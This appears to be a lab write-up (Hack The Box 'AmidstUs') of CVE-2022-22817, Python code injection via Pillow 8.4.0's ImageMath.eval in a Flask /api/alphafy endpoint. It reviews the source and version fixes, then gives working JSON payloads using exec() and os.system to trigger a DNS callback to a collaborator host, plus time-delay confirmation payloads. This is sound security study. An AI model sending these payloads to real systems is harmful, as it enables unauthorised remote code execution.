Pillow ImageMath.eval
Pillow ImageMath.eval Python code injection
Manual source review, testing, and exploitation for CVE-2022-22817 in Pillow 8.4.0.
ImageMath.eval wrapper
Pillow 8.4.0 did not implement a separate expression language. ImageMath.eval() prepared a Python dictionary containing image-operation functions and caller-supplied objects, then passed the expression string and that dictionary directly to Python’s built-in eval().
Pillow 8.4.0 implements the wrapper as follows:
def eval(expression, _dict={}, **kw):
args = ops.copy()
args.update(_dict)
args.update(kw)
for k, v in list(args.items()):
if hasattr(v, "im"):
args[k] = _Operand(v)
out = builtins.eval(expression, args)
try:
image = out.im
return image
except AttributeError:
return outops.copy() creates the initial dictionary of ImageMath operation names. _dict accepts another dictionary, while **kw collects named keyword arguments into a dictionary. Each update adds those names and their Python objects to args. Image objects are converted to Pillow’s internal _Operand wrapper, and builtins.eval(expression, args) then uses args as the global namespace for the expression.
Only expression becomes Python source. Objects supplied through _dict or kw remain data referenced by name unless application code first converts attacker-controlled text into part of the expression string.
Endpoint review
The API blueprint is registered with the /api prefix, and the route adds /alphafy, making the complete endpoint /api/alphafy. The route requires a JSON body containing the image key and passes the complete JSON object to make_alpha().
app.register_blueprint(api, url_prefix='/api')@api.route('/alphafy', methods=['POST'])
def alphafy():
if not request.is_json or 'image' not in request.json:
error_response = abort(400)
return error_response
result = make_alpha(request.json)
return resultVersion review
Pillow==8.4.0Pillow 8.4.0 calls Python’s built-in eval() and allows access to builtins such as exec(). This direct expression injection is CVE-2022-22817.
Pillow 9.0.0 restricted top-level builtins but still allowed a lambda-based bypass. Pillow 9.0.1 also restricted builtins inside lambdas, closing the remaining bypass tracked under the CVE. Pillow 10.3.0 later deprecated ImageMath.eval() in favor of lambda_eval() and unsafe_eval(); unsafe_eval() deliberately retains the risks of Python eval(), while lambda_eval() receives a callable without evaluating a string.
During source review, search for both names: older applications use ImageMath.eval(), while newer applications can use the equivalent string-evaluation sink as ImageMath.unsafe_eval(). The absence of unsafe_eval() does not make an older ImageMath.eval() call safe.
Source-to-sink review
background is read from the attacker-controlled JSON object into color. Its first three elements are then inserted without quotes into the expression string passed to ImageMath.eval().
color = data.get('background', [255,255,255])
alpha = ImageMath.eval(
f'''float(
max(
max(
max(
difference1(red_band, {color[0]}),
difference1(green_band, {color[1]})
),
difference1(blue_band, {color[2]})
),
max(
max(
difference2(red_band, {color[0]}),
difference2(green_band, {color[1]})
),
difference2(blue_band, {color[2]})
)
)
)''',
difference1=lambda source, color: (source - color) / (255.0 - color),
difference2=lambda source, color: (color - source) / color,
red_band=img_bands[0],
green_band=img_bands[1],
blue_band=img_bands[2]
)The expression string passed to ImageMath.eval() is the code-injection point. The image controls only the pixel values stored in red_band, green_band, and blue_band, which are passed into the evaluation namespace as named objects.
The image is still a required prerequisite because make_alpha() base64-decodes it and opens it with Pillow before reaching ImageMath.eval(). Its contents do not need to carry the payload; any valid image that survives this parsing path is sufficient.
Testing
First send a valid base64-encoded image with numeric background values. A 200 OK response containing a base64 PNG data URI confirms that the request format and image satisfy the code path leading to ImageMath.eval().
POST /api/alphafy HTTP/1.1
Content-Type: application/json{
"image": "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAKElEQVR42mNsaGhgoAQwUsWAeTtv/ydHc5K7KuOoC0ZdMJxcMKAGAAD1ADAR5Zm7jQAAAABJRU5ErkJggg==",
"background": [
1,
2,
3
]
}Expected response
{
"image": "data:image/png;base64,<BASE64_PNG>"
}Exploitation
Replace one numeric background value with a string containing a Python expression. Because the application inserts the value without quotes, the string becomes executable source inside the expression passed to ImageMath.eval().
{
"image": "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAKElEQVR42mNsaGhgoAQwUsWAeTtv/ydHc5K7KuOoC0ZdMJxcMKAGAAD1ADAR5Zm7jQAAAABJRU5ErkJggg==",
"background": [
"exec('import os;os.system(\"nslookup <COLLABORATOR_DOMAIN>\")')",
2,
3
]
}The injected value produces an evaluated call shaped like:
difference1(red_band, exec('import os;os.system("nslookup <COLLABORATOR_DOMAIN>")'))exec() performs the command and returns None. The later image calculation fails when it attempts arithmetic with that value, so an empty 400 response is expected. The DNS request received by the collaborator confirms server-side Python code execution despite the failed HTTP response.
Time-based confirmation
When the target cannot make outbound connections, compare an immediate control with a delayed expression. Both payloads return the same empty 400 response because exec() returns None; only the execution time changes.
Immediate control
"background": [
"exec('pass')",
2,
3
]Five-second delay
"background": [
"exec('import time;time.sleep(5)')",
2,
3
]The delayed request should take approximately five seconds longer than the control. Repeat both requests and compare their timings so ordinary network latency is not mistaken for execution.
Find by: python code injection, python eval injection, eval, builtins.eval, globals, locals, expression string, pillow, pil, ImageMath, ImageMath.eval, unsafe_eval, lambda_eval, CVE-2022-22817, background, f-string, exec, os.system, nslookup, oast, collaborator, dns callback, blind execution, time based, sleep, outbound blocked, base64 image · Source: HTB/AmidstUs + Pillow 8.4.0 ImageMath source + Pillow 9.0.0, 9.0.1, and 10.3.0 release notes